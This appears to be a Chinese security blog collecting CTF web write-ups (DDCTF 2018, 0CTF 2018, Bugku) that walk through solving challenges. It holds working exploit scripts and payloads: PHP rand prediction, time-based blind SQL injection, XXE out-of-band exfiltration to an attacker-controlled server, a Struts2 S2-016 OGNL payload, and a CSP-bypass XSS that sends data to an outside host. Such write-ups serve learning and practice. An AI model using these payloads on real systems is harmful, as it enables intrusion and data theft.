SECCON 2018 GhostKingdom writeup

赛后复现

CSAW 2018 writeup

前言

  很久没活动了,web能力显著下降。。。

CSAW 2018 复现writeup

_

  补补web

[随手记]记一次线上AWD的网络配置

前言

  线下的AWD往往需要线上预选,而且频率也比较少,有空时可以玩玩线上的AWD模式,但涉及的一个问题就是虚拟组网,这篇主要记录下faustctf的线上AWD网络设置。

DDCTF2018 2道web writeup

我的博客

提示:www.tar.gz

  根据提示能找到网站备份文件,下载后只有三个文件,从代码上并没有发现什么漏洞,而我们的目标是注册一个标志位是admin的账号,其本身存在的admin是个弱密码,但这个账号并没有admin的标志位,所以我们只能自己想办法注册一个。首先看看注册部分关键的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

session_start();
include('config.php');

if($_SERVER['REQUEST_METHOD'] === "POST") {
if(!(isset($_POST['csrf']) and (string)$_POST['csrf'] === $_SESSION['csrf'])) {
die("CSRF token error!");
}

$admin = "admin###" . substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 32);
$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
$code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';
if (strlen($username) > 32 || strlen($password) > 32) {
die('Invalid input');
}

$sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
$sth->execute([':username' => $username]);

if ($sth->fetch() !== false) {
die('username has been registered');
}

if($code === $admin) {
$identity = "admin";
} else {
$identity = "guest";
}
....

  可以看到我们只有让我们post的$code$admin的值相等才能通过验证,而$admin的值又是经过str_shuffle随机打乱的32个字符。而str_shuffle的源码如下:




  可以看到它使用了rand()作为随机数产生器,从而打乱字符顺序,而rand()产生的并不是真的随机数而是个伪随机数。我们可以通过下面的公式去预测第32位以后的随机数。
1
2
PHP_RAND_MAX = 2147483647
num[n] = (num[n-3] + num[n-31]) mod (PHP_RAND_MAX)

  当我们知道了生成的随机数我们就能预测出str_shuffle打乱的结果,最终在这道题中注册一个admin权限的账号。下面是payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# -*- coding: utf-8 -*-

import requests
from bs4 import BeautifulSoup

PHP_RAND_MAX = 2147483647
url = 'http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/register.php'
sess = requests.session()
# num[n] = (num[n-3] + num[n-31]) mod (PHP_RAND_MAX)

def RAND_RANGE(__n, __min, __max, __tmax):
return (__min) + int(((__max) - (__min) + 1.0) * ((__n) / ((__tmax) + 1.0)))
# 仿照PHP版的shuffle
def shuffle(strs, tokens):
lens = len(strs)
strs = list(strs)
n_left = lens
i = 0
while (n_left > 0):
n_left -= 1
rnd_idx = tokens[i]
i += 1
rnd_idx = RAND_RANGE(rnd_idx, 0 ,n_left, PHP_RAND_MAX)
if (rnd_idx != n_left):
strs[rnd_idx], strs[n_left] = strs[n_left], strs[rnd_idx]
return ''.join(strs)


num = []
for i in range(32):
html = sess.get(url)
context = html.content
soup = BeautifulSoup(context, 'lxml')
csrf = soup.select('#csrf')[0].get('value')
if i == 31:
tmp = (num[i - 3] + num[i - 31]) % PHP_RAND_MAX
if tmp == int(csrf):
print('预测成功!')
else:
print('预测失败!')
exit(1)
num.append(int(csrf))

# 预测后面 62个
tokens = []
for i in range(32,94):
tmp = (num[i - 3] + num[i - 31]) % PHP_RAND_MAX
num.append(int(tmp))
tokens.append(int(tmp))


strs = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
code = shuffle(strs, tokens)[:32]
code = 'admin###' + code

print('预测code: ' + code)
print('预测csrf: ' + str(num[31]))

data = {
# 在访问第33次的时候CSRF应该是上一次的CSRF,也就是第32次,注意这里是从0开始
'csrf':num[31],
'username':'junay',
'password':'123',
'code':code
}

html = sess.post(url, data)
print(html.content)

  上面的程序预测的时候有可能存在1/-1的误差,如果出现预测失败重新运行几次即可。

  有了账号后,我们就能登录,然后审计登录后的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// index.php 截取关键代码
if(isset($_GET['id'])){
$id = addslashes($_GET['id']);
if(isset($_GET['title'])){
$title = addslashes($_GET['title']);
$title = sprintf("AND title='%s'", $title);
}else{
$title = '';
}
$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);

foreach ($pdo->query($sql) as $row) {
echo "<h1>".$row['title']."</h1><br>".$row['content'];
die();
}
}

  这个代码中使用了存在漏洞的sprintf函数,我们可以通过格式化漏洞绕过addslashes。在格式化的时候sprintf支持填充,我们可以使用%1$'绕过反斜杠。




  所以我们的payload就是:
1
http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=1&title=Welcome%1$' union select 1,f14g,3 from `key` limit 0,1 -- +

喝杯Java冷静下

  首先能在源代码中找到账号密码:




1
2
// 解开后
admin: admin_password_2333_caicaikan

  使用这个账号密码我们能登录进后台,在后台里我们可以发现一个文件下载的漏洞。

1
2
// url
http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/getInfomation?filename=informations/readme.txt

  按照上次Java web的题目,我们开始找配置文件,比如:web.xml、applicationContext.xml等,但当我们找class文件时,却没有收获,但是匹配文件中的包名给我思路。




  在GitHub上搜了一下,果然找到了这个框架。地址:quick4j。然后按照这个项目的路径我们就能找到关键的类,最终能找到的文件差不多如下:




  标注的文件是控制文件,也是我们需要关注的文件,其内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
package com.eliteams.quick4j.web.controller;
// 删除了导入包

@Controller
@RequestMapping({"/user"})
public class UserController
{
public static final String hintFile = "/flag/hint.txt";
@Resource
private UserService userService;

@RequestMapping(value={"/login"}, method={org.springframework.web.bind.annotation.RequestMethod.POST})
public String login(@Valid User user, BindingResult result, Model model, HttpServletRequest request)
{
try
{
Subject subject = SecurityUtils.getSubject();
if (subject.isAuthenticated()) {
return "redirect:/";
}
if (result.hasErrors())
{
model.addAttribute("error", "参数错误!");
return "login";
}
if ((user.getUsername().isEmpty()) || (user.getUsername() == null) ||
(user.getPassword().isEmpty()) || (user.getPassword() == null)) {
return "login";
}
subject.login(new UsernamePasswordToken(user.getUsername(), user.getPassword()));

User authUserInfo = this.userService.selectByUsername(user.getUsername());
request.getSession().setAttribute("userInfo", authUserInfo);
}
catch (AuthenticationException e)
{
model.addAttribute("error", "用户名或密码错误 !");
return "login";
}
return "redirect:/";
}

@RequestMapping(value={"/logout"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
public String logout(HttpSession session)
{
session.removeAttribute("userInfo");

Subject subject = SecurityUtils.getSubject();
subject.logout();
return "login";
}

@RequestMapping(value={"/admin"}, produces={"text/html;charset=UTF-8"})
@ResponseBody
@RequiresRoles({"admin"})
public String admin()
{
return "拥有admin角色,能访问";
}

@RequestMapping(value={"/create"}, produces={"text/html;charset=UTF-8"})
@ResponseBody
@RequiresPermissions({"user:create"})
public String create()
{
return "拥有user:create权限,能访问";
}

@RequestMapping(value={"/getInfomation"}, produces={"text/html;charset=UTF-8"})
@ResponseBody
@RequiresRoles({"guest"})
public ResponseEntity<byte[]> download(HttpServletRequest request, String filename)
throws IOException
{
if ((filename.contains("../")) || (filename.contains("./")) || (filename.contains("..\\")) || (filename.contains(".\\"))) {
return null;
}
String path = request.getServletContext().getRealPath("/");
System.out.println(path);

File file = new File(path + File.separator + filename);
HttpHeaders headers = new HttpHeaders();

String downloadFielName = new String(filename.getBytes("UTF-8"), "iso-8859-1");

headers.setContentDispositionFormData("attachment", downloadFielName);

headers.setContentType(MediaType.APPLICATION_OCTET_STREAM);
return new ResponseEntity(FileUtils.readFileToByteArray(file), headers, HttpStatus.CREATED);
}

@RequestMapping(value={"/nicaicaikan_url_23333_secret"}, produces={"text/html;charset=UTF-8"})
@ResponseBody
@RequiresRoles({"super_admin"})
public String xmlView(String xmlData)
{
if (xmlData.length() >= 1000) {
return "Too long~~";
}
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

factory.setExpandEntityReferences(true);
try
{
DocumentBuilder builder = factory.newDocumentBuilder();

InputStream xmlInputStream = new ByteArrayInputStream(xmlData.getBytes());

Document localDocument = builder.parse(xmlInputStream);
}
catch (ParserConfigurationException e)
{
e.printStackTrace();
return "ParserConfigurationException";
}
catch (SAXException e)
{
e.printStackTrace();
return "SAXException";
}
catch (IOException e)
{
e.printStackTrace();
return "IOException";
}
return "ok~ try to read /flag/hint.txt";
}
}

  所以我们下一步就需要访问nicaicaikan_url_23333_secret,但是已经有的admin账号并不是super_admin,而且也没有注册账号的接口存在。这种情况下只能照着GitHub上的模板去翻其他文件,终于在SecurityRealm.java中找到了线索:




  这里注意到我们需要找到一个字符串的hashCode()==0,经过Google后,我们能在Stack Overflow找到一个答案:f5a5a608

  登录后并没有发现特别的功能,但是代码里已经给了我们非常明显的提示:xxe攻击,因为它自身并没有回显,所以我们需要找到一个支持xxe外带数据的方法,解决方案就是:xxe oob。我们先在自己服务器上放置evil.xml,内容如下:

1
2
3
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:port/%file;'>">
%int;
%send;

  ps: 上面的port是nc监听的端口,接着构造payload:

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///flag/hint.txt">
<!ENTITY % remote SYSTEM "http://ip:port/evil.xml">
%remote;
%all;
%send;
]>

  发送过去:




  我们就能在服务器上收到信息:




  根据提示我们接着构造payload:
1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "http://tomcat_2:8080/">
<!ENTITY % remote SYSTEM "http://ip:port/evil.xml">
%remote;
%all;
%send;
]>

  结果:




  再来:
1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action">
<!ENTITY % remote SYSTEM "http://ip:port/evil.xml">
%remote;
%all;
%send;
]>




  这时候用到了题目的提示:

提示:第二层关卡应用版本号为2.3.1

  所以我们找找Struts2 2.3.1版本的漏洞,此篇文章有较为详细的记载。

  经过多次尝试后我们能利用的漏洞版本是S2-016,接着再去找漏洞脚本,一个能用的payload如下:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action?redirect:${#a=new java.io.FileInputStream('/flag/flag.txt'),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[60],#c.read(#d),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#matt.println(#d),#matt.flush(),#matt.close()}">
<!ENTITY % dtd SYSTEM "http://ip:port/evil.xml">
%dtd;
%all;]>
<value>&send;</value>




  在进行复现的时候经常会出现IOException,按照其他的writeup里的payload也是如此,这也有可能是环境问题导致的。

  参考链接:

  https://impakho.com/post/ddctf-2018-writeup

  https://thief.one/2017/06/20/1/

  http://www.freebuf.com/articles/web/97833.html

  https://github.com/Eliteams/quick4j

  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  

2018 国赛ciscn writeup

前言

  不想吐槽了,谁做谁知道,这篇文章只是记录下一些tips

2018 TCTF-0CTF 部分Web writeup

LoginMe

  这道题的writeup啃了一段时间,需要先入的概念是:

  • 1、这道题是利用正则进行注入
  • 2、由于req.body的存在不一定要存在username和password参数

  下面是作者的调试代码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
app.post('/check', function (req, res) {
var check_function = 'if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}';

console.log('=============================\n');
for(var k in req.body){
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
if(!valid) res.send('Nope');
check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))
// 输出每步的替换结果
console.log('正在替换:' + k + ' -----> ' + req.body[k]);
console.log(check_function);
}

console.log(check_function);
var query = {"$where" : check_function};
console.log(query);
console.log('================================\n');
var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}}
dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
if(e) throw e;
res.send('ok');
// ... implementing, plz dont release this.
});
})

  这里用到了LoRexxar’s Blog中使用的基于时间盲注的方法,我们先看一下payload:

1
|#|=&|this.*"\)|=&|==|[]=%7C%7Ceval(&%7C%22%22+%5C%5B%22%7C=a&%7Ca%22%7C=%2B&%7C%22%2B%7C=&%7C%22%22%5C%5D%2b%7C=aaaa&%7Caaaa%22%7C=%2B&%7C%5C)%7B%7C%5B%5D=bbb).match(/^1.*/i)){sleep(4000);}else{return%20&|\["|=&|""b|=%2b&|"bb|=&|return(\s.*)*0|=11111

  首先我们先绕过正则,我们可以通过|xxx|来绕过左右两边的#。比如提交|#|,后台就变成#|#|#,然后正则就会去匹配#,然后把它替换,有了这一点这个payload就容易理解了。

  而在这个payload中我们只需要不断的修改match(/^1.*/i)进行匹配即可。我们先提交一下:




  可以看到明显延迟了4s,然后我们从控制台的输出信息里去理解这个payload的原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
=============================
正在替换:|#| ----->
if(this.username == ""username"" && ""username"" == "admin" && hex_md5(""password"") == this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|this.*"\)| ----->
if("" == this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|==| -----> ||eval(
if("" ["||eval("] this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|"" \["| -----> a
if("a"||eval("] this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|a"| -----> +
if(""+"||eval("] this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|"+| ----->
if(""+""||eval(""] this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|""\]+| -----> aaaa
if(""+""||eval("aaaa" this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|aaaa"| -----> +
if(""+""||eval(""+" this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|\){| -----> bbb).match(/^12.*/i)){sleep(4000);}else{return
if(""+""||eval(""+" this.password_nnuty7q6zy["bbb).match(/^12.*/i)){sleep(4000);}else{return "]
return 1;
}else{
return 0;}
正在替换:|\["| ----->
if(""+""||eval(""+" this.password_nnuty7q6zy""bbb).match(/^12.*/i)){sleep(4000);}else{return "]
return 1;
}else{
return 0;}
正在替换:|""b| -----> +
if(""+""||eval(""+" this.password_nnuty7q6zy"+"bb).match(/^12.*/i)){sleep(4000);}else{return "]
return 1;
}else{
return 0;}
正在替换:|"bb| ----->
if(""+""||eval(""+" this.password_nnuty7q6zy"+"").match(/^12.*/i)){sleep(4000);}else{return "]
return 1;
}else{
return 0;}
正在替换:|return(\s.*)*0| -----> 11111

if(""+""||eval(""+" this.password_nnuty7q6zy"+"").match(/^12.*/i)){sleep(4000);}else{"11111\r\n";}
{ '$where': 'if(""+""||eval(""+" this.password_nnuty7q6zy"+"").match(/^12.*/i)){sleep(4000);}else{"11111\\r\\n";}' }
================================

  有了上面的说明,再加上调试信息,我们就很容易理解这个payload了。

Bl0g

  这道题跟强网杯的Share your mind有点相似,它是考察RPO,这里是CSP,但是触发方法都是一样的,都是提交url后用xss bot激发。

  首先这个站点的功能如下:




  可以发现flag就在/flag下,但只有admin才能查看,非常明显的xss利用。




  所以粗略攻击链就出来了,我们在/new里插入恶意xss,然后在/submit中提交恶意的url,这个url的目的就是让bot访问/flag,然后传回flag。

  所以我们先找到一个xss,经过探测我们可以发现在/new下post请求里的effect参数没有做任何过滤。插入的效果如下:




  这里虽然你已经插入了script,但由于CSP的保护,你的内嵌script的不能执行了,所以就没有了弹窗。相应的CSP如下:
1
2
Content-Security-Policy:script-src 'self' 'unsafe-inline'
Content-Security-Policy:default-src 'none'; script-src 'nonce-oPxSn4qhUHs6fU+ftUe/xpPI8WM=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'

  相关的script-src值及其含义如下:

1
2
3
4
'unsafe-inline':允许执行页面内嵌的&lt;script>标签和事件监听函数
unsafe-eval:允许将字符串当作代码执行,比如使用eval、setTimeout、setInterval和Function等函数。
nonce值:每次HTTP回应给出一个授权token,页面内嵌脚本必须有这个token,才会执行
hash值:列出允许执行的脚本代码的Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行。

  注意到这里的script-src: 'self','nonce-oPxSn4qhUHs6fU+ftUe/xpPI8WM=',说明它只允许加载本站的script,而且script必须有一个token,就例如:




  满足上述条件的script才能被执行,而很明显,我们插入的script并没有token,所以也就无法执行了。

  然而题目还是有解的,我们查看下article.js

1
2
3
$(document).ready(function(){
$("body").append((effects[$("#effect").val()]));
});

  可以发现这里存在动态插入任意值的漏洞,所以,我们可以通过动态插入script标签来绕过CSP

  effects的定义可以在config.js中找到




  我们接下去的目的就是考虑能不能控制effects的值,下面引用了lorexxar师傅的原话:

在js中,对于特定的form,iframe,applet,embed,object,img标签,我们可以通过设置id或者name来使得通过id或name获取标签

  也就是说,我们可以通过effects获取到<form name=effects>这个标签。同理,我们就可以通过插入这个标签来注册effects这个变量。再看看这些js文件的导入顺序,我们发现config.js是第一个被导入的。




  所以我们传入:
1
id"><form name=effects id="<script>alert(1)</script>"><script>

  效果如下:






  可以看到payload最后一个script刚好把config.js给闭合了,并且由于CSP,闭合掉的script标签没有token并不能执行。再加上:
1
2
$("#effect").val() --> id
effects[id] --> <script>alert(1)</script>

  所以成功的执行了弹窗测试。

  接着就构造payload获取flag了,需要注意的一点是effect参数最长只有70个字符,所以我们无法直接在/new页面上获取到flag,这时候,我们在看/submit里可以提交一个url,而http://202.120.7.197:8090/login?next=//www.baidu.com是可以任意跳转的,所以我们可以让它跳转到自己的服务器上加载恶意代码,跟/new打一个里应外合

  首先我们构造出payload:

1
effect=id"><form name=effects id="<script>$.get('/flag',e=>name=e)"><script>

  这里通过jquery get获取flag内容,通过箭头函数将返回赋值给window.name。对于windos.name的说明可以参考:

window.name(一般在js代码里出现)的值不是一个普通的全局变量,而是当前窗口的名字,这里要注意的是每个iframe都有包裹它的window,而这个window是top window的子窗口,而它自然也有window.name的属性,window.name属性的神奇之处在于name 值在不同的页面(甚至不同域名)加载后依旧存在(如果没修改则值不会变化),并且可以支持非常长的 name 值(2MB)。

  然后我们在自己的服务器上放置如下html

1
2
3
4
5
<iframe src="http://202.120.7.197:8090/article/3788"></iframe>
<script>
setTimeout(()=>{frames[0].window.location.href='/'},1200)
setTimeout(()=>{location.href='http://ip:port/?'+frames[0].window.name},1500)
</script>

  然后在相应的端口上做好监听,之后在/submit提交你这个html文件的url地址。如:http://202.120.7.197:8090/login?next=//your_ip/evil.html

  最后就能发现flag已经打到你的服务器上了。




  参考链接:

    http://www.ruanyifeng.com/blog/2016/09/csp.html

    https://lorexxar.cn/2018/04/05/0ctf2018-blog/

    https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup

  
  
  
  

Bugku writeup3

Web

INSERT INTO注入

  题目描述:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

  可以看到,这是X-Forwarded-For的注入,而且过滤了逗号,。在过滤了逗号的情况下,我们就不能使用if语句了,在mysql中与if有相同功效的就是:

1
select case when xxx then xxx else xxx end;

  而且由于逗号,被过滤,我们就不能使用substr、substring了,但我们可以使用:from 1 for 1,所以最终我们的payload如下:

1
127.0.0.1'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))-- +

  相应的python代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding:utf-8 -*-
import requests
import sys
# 基于时间的盲注,过滤了逗号 ,
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://120.24.86.145:8002/web15/'
flag = ''
for i in range(1, 40):
print('正在猜测:', str(i))
for ch in range(32, 129):
if ch == 128:
sys.exit(0)
sqli = sql.format(i, chr(ch))
# print(sqli)
header = {
'X-Forwarded-For': sqli
}
try:
html = requests.get(url, headers=header, timeout=3)
except:
flag += chr(ch)
print(flag)
break

  跑出flag:flag{cdbf14c9551d5be5612f7bb5d2867853}

这是一个神奇的登陆框

  打开网站后进行抓包,进过测试后发现是基于时间的盲注,POC:aaa" or sleep(5) -- +。所以写个脚本跑一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
# -*- coding:utf-8 -*-
import requests

'''
这篇POC: aaa" or sleep(5) -- +
源于Bugku:http://120.24.86.145:9001/sql/
场景:登陆框基于时间的盲注
'''
url = 'http://120.24.86.145:9001/sql/'

def fuzz(sql, test, pos1, pos2, tmp):
left = 32
right = 127
while True:
mid = (left + right) // 2
print('正在测试字符:' + str(mid) + ' ----> ' + chr(mid))
test3 = test.format(pos1-1, pos2, mid)
params = {
'admin_name': 'admin',
'admin_passwd': test3,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
except:
tmp += chr(mid)
return tmp

sqli = sql.format(pos1-1, pos2, mid)
params = {
'admin_name': 'admin',
'admin_passwd': sqli,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
right = mid
except:
left = mid

# database = ''
# sql = "1\" or if(ascii(substr(database(),{0},1))>{1},sleep(5),0) -- +"
# test = "1\" or if(ascii(substr(database(),{0},1))={1},sleep(5),0) -- +"
# for pos in range(1, 50):
# # 测试length(database()),一旦超过长度则不用再执行。
# is_end = sql.format(pos, 1)
# params = {
# 'admin_name': 'admin',
# 'admin_passwd': is_end,
# 'submit': 'GO+GO+GO'
# }
# try:
# html = requests.post(url, params, timeout=3)
# print('======================')
# print('[*]database: ', database)
# print('======================\n')
# break
# except:
# pass
#
# left = 32
# right = 127
# while True:
# mid = (left + right) // 2
# # print('正在测试字符:', str(mid))
# test3 = test.format(pos, mid)
# params = {
# 'admin_name': 'admin',
# 'admin_passwd': test3,
# 'submit': 'GO+GO+GO'
# }
# try:
# html = requests.post(url, params, timeout=3)
# except:
# database += chr(mid)
# print('[+]database: ', database)
# break
#
# sqli = sql.format(pos, mid)
# params = {
# 'admin_name': 'admin',
# 'admin_passwd': sqli,
# 'submit': 'GO+GO+GO'
# }
# try:
# html = requests.post(url, params, timeout=3)
# right = mid
# except:
# left = mid

tables_name = {}
sql = "1\" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1)))>{2},sleep(5),0) -- +"
test = "1\" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1)))={2},sleep(5),0) -- +"
for table_num in range(1, 20):
sqli = sql.format(table_num - 1, 1, 1)
params = {
'admin_name': 'admin',
'admin_passwd': sqli,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('[*]已无其他表!')
break
except:
print('[+]正在爆破表', str(table_num))
table = ''
for str_num in range(1, 50):
# 测试length(database()),一旦超过长度则不用再执行。
test2 = sql.format(table_num - 1, str_num, 1)
params = {
'admin_name': 'admin',
'admin_passwd': test2,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('======================')
print('[*]table: ', table)
tables_name[table_num] = table
print('======================\n')
break
except:
pass

table = fuzz(sql, test, table_num, str_num, table)
print('[+]table: ', table)

print('******************')
for key in tables_name:
print('[*]table' + str(key) + ': ' + tables_name[key])
print('******************\n')


tb = int(input('>请选择需要爆破的表(数字):'))
# for tb in tables_name:
sql = "1\" or if((ascii(substr((select column_name from information_schema.columns where table_name='" + tables_name[tb]+ "' limit {0},1),{1},1)))>{2},sleep(5),0) -- +"
test = "1\" or if((ascii(substr((select column_name from information_schema.columns where table_name='" + tables_name[tb]+ "' limit {0},1),{1},1)))={2},sleep(5),0) -- +"
colunms_name = {}
for column_num in range(1, 20):
sqli = sql.format(column_num - 1, 1, 1)
params = {
'admin_name': 'admin',
'admin_passwd': sqli,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('[*]已无其他字段!')
break
except:
print('[+]正在爆破字段', str(column_num))
column = ''
for str_num in range(1, 50):
# 测试length(database()),一旦超过长度则不用再执行。
test2 = sql.format(column_num - 1, str_num, 1)
params = {
'admin_name': 'admin',
'admin_passwd': test2,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('======================')
print('[*]column: ', column)
colunms_name[column_num] = column
print('======================\n')
break
except:
pass

column = fuzz(sql, test, column_num, str_num, column)
print('[+]column: ', column)

print('******************')
for key in colunms_name:
print('[*]column' + str(key) + ': ' + colunms_name[key])
print('******************\n')


cl = int(input('>请选择需要爆破的字段(数字):'))
sql = "1\" or if((ascii(substr(( select " + colunms_name[cl] + " from " + tables_name[tb]+ " limit {0},1),{1},1)))>{2},sleep(5),0) -- +"
test = "1\" or if((ascii(substr(( select " + colunms_name[cl] + " from " + tables_name[tb]+ " limit {0},1),{1},1)))={2},sleep(5),0) -- +"
key = []
for num in range(1, 20):
sqli = sql.format(num - 1, 1, 1)
params = {
'admin_name': 'admin',
'admin_passwd': sqli,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('[*]已无其他数据!')
break
except:
print('[+]正在爆破数据', str(num))
tmp_key = ''
for str_num in range(1, 50):
# 测试length(database()),一旦超过长度则不用再执行。
test2 = sql.format(num - 1, str_num, 1)
params = {
'admin_name': 'admin',
'admin_passwd': test2,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('======================')
print('[*]column: ', tmp_key)
key.append(tmp_key)
print('======================\n')
break
except:
pass

tmp_key = fuzz(sql, test, num, str_num, tmp_key)
print('[+]key: ', tmp_key)

print('******************')
for tt in key:
print('[*]key: ' + tt)
print('******************\n')

多次

  打开网页后在?id=1后面加个'号,发现错误,然后再添加一个',发现可以闭合。






  然后测试了一下,发现and or &&被过滤掉了,但||和位注入| ^没有被过滤。当使用?id=0' || 1=2 -- +时是返回错误,而?id=0' || 1=1 -- +返回了正确,所以这里存在注入。这里值得注意的是,我使用id=0而不是id=1等非0值,这是因为任何大于0的数进行||都会返回






  这里还有一种判断是否存在注入的方式就是使用异或进行注入,如:?id=0' ^ (1=2) ^ '






  因为在使用and的时候发现是返回了错误,所以猜测后台过滤了一些字符,所以可以使用?id=0' || length('and')=0 -- +检查一下过滤了的函数,如:




  进过一番测试后可以发现是一次替换的方法进行过滤的,因为可以看到当双写了以后它返回的长度是原来字符的长度。如:0' || length('aandnd')=3 -- +返回真。




  然后我们检查下字段数,构造payload:?id=1' oorrder by 2 -- +,可以发现字段数为2




  然后再看显位,构造payload:?id=-1' uniounionn seleselectct 1,2 -- +




  获得表名:ununionion seleselectct 1,table_name from infoorrmation_schema.tables where table_schema=database() limit 0,1-- +






  可以得到表:flag1、hint,两张表。
  然后我们读flag1的字段:ununionion seleselectct 1,column_name from infoorrmation_schema.columns where table_name=0x666c616731 limit 0,1-- +




  然后我们能得到两列:flag1、address。然后查询flag:ununionion seleselectct 1,flag1 from flag1 -- +




  我们得到一串字符拿去提交后却发现并不是正确答案,所以我们再看一下address是什么。




  这里我们得到了下一关的地址。打开后页面如下:




